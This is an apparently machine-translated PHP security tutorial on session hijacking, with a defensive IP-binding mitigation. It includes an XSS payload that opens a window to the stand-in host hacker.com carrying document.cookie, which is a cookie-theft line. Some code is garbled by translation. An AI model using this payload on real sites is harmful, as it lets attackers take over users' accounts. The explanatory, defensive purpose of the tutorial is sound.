Stealing sessions

Many serious PHP web applications today do not go without using the session mechanism. The most widespread use of sessions to delimit user access to personal resources.

Let’s take a look at a typical session-based authorization process.

The user is prompted for a username and password.
If the authorization is successful, then a new session is created with the value of “successful authorization”.
The user is assigned a unique identifier (SID), which cannot be predicted in advance and, therefore, cannot be picked :).
The SID is recorded either in the browser cookies or transmitted through the browser address bar (if cookies are disabled).
As a result of successful authorization, the script becomes accessible to the values ​​of variables from the $ _SESSION superglobal array, by the presence of which the script provides access to a certain resource, for example, entering the site administration panel.

The problem is that if an attacker somehow finds out the SID of another user, he can substitute it in his cookies, or the address bar of the browser and enter the site with the rights of this user.

Comment


A few years ago, there were several scandals where in remote bank account management systems, a unique number (SID) was generated simply by adding one to the last used value. Fast authorization led to the issuance of two SID values, for example 40346 and 40348. Substitution of the number 40347 allowed access to someone else’s account :).

The SID currently represents a unique sequence of numbers and letters that is not tied to a meter. But how does an attacker know someone else’s SID?

There are two most common options:

  1. For example, the owner of the session showed it himself, inadvertently leaving a link of this type somewhere on the forum or guest book.

Going to this address automatically grants the attacker the rights of the user for which the session with the identifier 01c1739de76ed46e639cd23d33698121 is allocated.
Of course, the user’s session is destroyed if there is no activity after a while. And so the attacker should hurry up :). On the other hand, the total prevalence of spiders (spiders) makes it possible to organize a targeted automatic search for such links.

  1. Even if the session is not explicitly indicated in the browser line, but is stored in Cookies. An attacker still has the ability to get hold of the identifier. Let’s consider a small script of the simplest guestbook.

The content of the addmsg.php handler is shown below

<?php
if(!empty($_POST['text']))
{
    $line = str_replace("/ ?
/s", " ", $_POST['text']);
    
}
else
{
    exit("Ошибка");
}
?>

Please note that the script clearly omits the call to the htmlspecialchars () function, which converts the characters in & gt; as a result, an attacker can insert any HTML tags and JavaScript scripts into the text.

<script>window.open("http://hacker.com/get.php?"+document.cookie, 'new')
</script>

And what do we get? A small oversight (it would seem that they just missed some kind of htmlspecialchars () before displaying the message to the browser), which allows the attacker’s page to load in a new window, passing it values ​​from cookies.
To deal with vulnerabilities of this kind, it is best to deal with “sustainable” methods, acting on the principle “everything that is not allowed is prohibited.” You should not hide the SID and subject the text to multi-stage checks – the probability of creating errors in this case only increases. More reliable in this case is the method of binding the SID to the IP address of the user who owns the session. This method is widely used in many well-known forums, for example phpBB.

Authorization script

Скрипт авторизации

<?php
if (login and password are correct)
{
  $_SESSION['authorized'] = true;
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>

Then the script that provides access to a specific resource may contain the following code

<?php
  if (!empty($_SESSION['authorized']) &&
      $_SESSION['ip'] == $_SERVER['REMOTE_ADDR'])
  {
      
  }
  else die("Access is closed.");
?>

Those. now only the user whose IP address matches the IP address passed to the server during authorization can work with this session. If an attacker intercepts the session, his IP address is different 🙂 – therefore, he will be denied accessThis method is not universal and it also has weak points.

If the user and the attacker access the Internet through a common proxy server, then they will have one common IP address (this is typical for networks of universities, factories and other large institutions), i.e. everyone can steal a neighbor”s SID, at least by the above methods. If the user is using a modem and the connection is lost, then after the connection is restored, he will most likely be assigned a different IP address. The user may be unpleasantly surprised if he is indiscriminately enlisted in the ranks of attackers (therefore, it is not worth writing threats and appeals to conscience in security systems – such systems also have errors). The last drawback occurs on forums, whose visitors have a habit of turning off the Internet and working offline when typing a long answer. Pressing the “Reply” button leads to the fact that all the typed information is lost, since no one cares about saving the text typed by an intruder.
Exit: (or rather, semi-exit) Check for identity only the first 3 digits of the IP address, the theft of the SID is still statistically unlikely, but in most cases, this allows you to be more lenient towards disconnecting the connection, since providers are usually allocated an unbreakable range of IP addresses, in which only the last digit changes.

Leave a Reply

Your email address will not be published. Required fields are marked *

Next article

Working with databases.